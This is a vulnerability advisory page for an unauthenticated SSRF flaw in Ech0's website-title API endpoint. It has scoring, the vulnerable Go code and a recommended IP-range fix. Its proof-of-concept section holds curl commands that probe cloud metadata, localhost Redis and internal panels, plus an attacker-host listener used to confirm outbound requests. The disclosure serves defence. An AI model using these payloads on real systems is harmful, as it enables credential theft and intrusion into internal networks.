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Redis CVE-2026-35037

HIGH
Server-Side Request Forgery (SSRF) (CWE-918)
2026-04-03 https://github.com/lin-snow/Ech0 GHSA-cqgf-f4x7-g6wc
7.2
CVSS 3.1
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CVSS VectorNVD

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

4
Re-analysis Queued
Apr 22, 2026 - 19:07 vuln.today
cvss_changed
Patch released
Apr 03, 2026 - 08:30 nvd
Patch available
Analysis Generated
Apr 03, 2026 - 03:45 vuln.today
CVE Published
Apr 03, 2026 - 03:33 nvd
HIGH 7.2

DescriptionNVD

Summary

The GET /api/website/title endpoint accepts an arbitrary URL via the website_url query parameter and makes a server-side HTTP request to it without any validation of the target host or IP address. The endpoint requires no authentication. An attacker can use this to reach internal network services, cloud metadata endpoints (169.254.169.254), and localhost-bound services, with partial response data exfiltrated via the HTML <title> tag extraction.

Details

The vulnerability exists in the interaction between four components:

1. Route registration - no authentication (internal/router/common.go:11):

go
appRouterGroup.PublicRouterGroup.GET("/website/title", h.CommonHandler.GetWebsiteTitle())

The PublicRouterGroup is created at internal/router/router.go:34 as r.Group("/api") with no auth middleware attached (unlike AuthRouterGroup which uses JWTAuthMiddleware).

2. Handler - no input validation (internal/handler/common/common.go:106-127):

go
func (commonHandler *CommonHandler) GetWebsiteTitle() gin.HandlerFunc {
    return res.Execute(func(ctx *gin.Context) res.Response {
        var dto commonModel.GetWebsiteTitleDto
        if err := ctx.ShouldBindQuery(&dto); err != nil { ... }
        title, err := commonHandler.commonService.GetWebsiteTitle(dto.WebSiteURL)
        ...
    })
}

The DTO (internal/model/common/common_dto.go:155-156) only enforces binding:"required" - no URL scheme or host validation.

3. Service - TrimURL is cosmetic (internal/service/common/common.go:122-125):

go
func (s *CommonService) GetWebsiteTitle(websiteURL string) (string, error) {
    websiteURL = httpUtil.TrimURL(websiteURL)
    body, err := httpUtil.SendRequest(websiteURL, "GET", httpUtil.Header{}, 10*time.Second)
    ...
}

TrimURL (internal/util/http/http.go:16-26) only calls TrimSpace, TrimPrefix("/"), and TrimSuffix("/"). No SSRF protections.

4. HTTP client - unrestricted outbound request (internal/util/http/http.go:53-84):

go
client := &http.Client{
    Timeout: clientTimeout,
    Transport: &http.Transport{
        TLSClientConfig: &tls.Config{
            InsecureSkipVerify: true,
        },
    },
}
req, err := http.NewRequest(method, url, nil)
...
resp, err := client.Do(req)

The client follows redirects (Go default), skips TLS verification, and has no restrictions on target IP ranges.

The response body is parsed for <title> tags and the extracted title is returned to the attacker, providing a data exfiltration channel for any response containing HTML title elements.

PoC

Step 1: Probe cloud metadata endpoint (AWS)

bash
curl -s 'http://localhost:8080/api/website/title?website_url=http://169.254.169.254/latest/meta-data/'

If the Ech0 instance runs on AWS EC2, the server will make a request to the instance metadata service. While the metadata response is not HTML, this confirms network reachability.

Step 2: Probe internal localhost services

bash
curl -s 'http://localhost:8080/api/website/title?website_url=http://127.0.0.1:6379/'

Probes for Redis on localhost. Connection success/failure and error messages reveal internal service topology.

Step 3: Exfiltrate data from internal web services with HTML title tags

bash
curl -s 'http://localhost:8080/api/website/title?website_url=http://internal-admin-panel.local/'

If the internal service returns an HTML page with a <title> tag, its content is returned to the attacker.

Step 4: Confirm with a controlled external server

bash
# On attacker machine:
python3 -c "from http.server import HTTPServer, BaseHTTPRequestHandler
class H(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-Type','text/html')
        self.end_headers()
        self.wfile.write(b'<html><head><title>SSRF-CONFIRMED</title></head></html>')
HTTPServer(('0.0.0.0',9999),H).serve_forever()" &
# From any client:
curl -s 'http://<ech0-host>:8080/api/website/title?website_url=http://<attacker-ip>:9999/'

Expected response contains "data":"SSRF-CONFIRMED", proving the server made an outbound request to the attacker-controlled URL.

Impact

  • Cloud credential theft: An attacker can reach cloud metadata services (AWS IMDSv1 at 169.254.169.254, GCP, Azure) to steal IAM credentials, API tokens, and instance configuration data.
  • Internal network reconnaissance: Port scanning and service discovery of internal hosts that are not directly accessible from the internet.
  • Localhost service interaction: Access to services bound to 127.0.0.1 (databases, caches, admin panels) that rely on network-level isolation for security.
  • Firewall bypass: The server acts as a proxy, allowing attackers to bypass network ACLs and reach otherwise-protected internal infrastructure.
  • Data exfiltration: Partial response content is leaked through the <title> tag extraction. While limited, this is sufficient to extract sensitive data from services that return HTML responses.

The attack requires no authentication and can be performed by any anonymous internet user with network access to the Ech0 instance.

Recommended Fix

Add URL validation in GetWebsiteTitle to block requests to private/reserved IP ranges and restrict allowed schemes. In internal/service/common/common.go:

go
import (
    "net"
    "net/url"
)

func isPrivateIP(ip net.IP) bool {
    privateRanges := []string{
        "127.0.0.0/8",
        "10.0.0.0/8",
        "172.16.0.0/12",
        "192.168.0.0/16",
        "169.254.0.0/16",
        "::1/128",
        "fc00::/7",
        "fe80::/10",
    }
    for _, cidr := range privateRanges {
        _, network, _ := net.ParseCIDR(cidr)
        if network.Contains(ip) {
            return true
        }
    }
    return false
}

func (s *CommonService) GetWebsiteTitle(websiteURL string) (string, error) {
    websiteURL = httpUtil.TrimURL(websiteURL)

    // Validate URL scheme
    parsed, err := url.Parse(websiteURL)
    if err != nil || (parsed.Scheme != "http" && parsed.Scheme != "https") {
        return "", errors.New("only http and https URLs are allowed")
    }

    // Resolve hostname and block private IPs
    host := parsed.Hostname()
    ips, err := net.LookupIP(host)
    if err != nil {
        return "", fmt.Errorf("failed to resolve hostname: %w", err)
    }
    for _, ip := range ips {
        if isPrivateIP(ip) {
            return "", errors.New("requests to private/internal addresses are not allowed")
        }
    }

    body, err := httpUtil.SendRequest(websiteURL, "GET", httpUtil.Header{}, 10*time.Second)
    // ... rest unchanged
}

Additionally, consider:

  1. Removing InsecureSkipVerify: true from SendRequest in internal/util/http/http.go:69
  2. Disabling redirect following in the HTTP client (CheckRedirect returning http.ErrUseLastResponse) or re-validating the target IP after each redirect to prevent DNS rebinding
  3. Adding rate limiting to this endpoint

AnalysisAI

Unauthenticated Server-Side Request Forgery (SSRF) in Ech0's /api/website/title endpoint allows remote attackers to access internal network services, cloud metadata endpoints (AWS IMDSv1 at 169.254.169.254), and localhost-bound resources without authentication. The vulnerability accepts arbitrary URLs via the website_url parameter with zero validation, enabling attackers to probe internal infrastructure and exfiltrate partial response data through HTML title tag extraction. …

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RemediationAI

Within 24 hours: identify all instances of Ech0 in production and restrict network access to the /api/website/title endpoint via firewall or WAF rules. Within 7 days: apply the vendor-released patch per GitHub security advisory GHSA-cqgf-f4x7-g6wc to all affected instances and validate the fix in a non-production environment first. …

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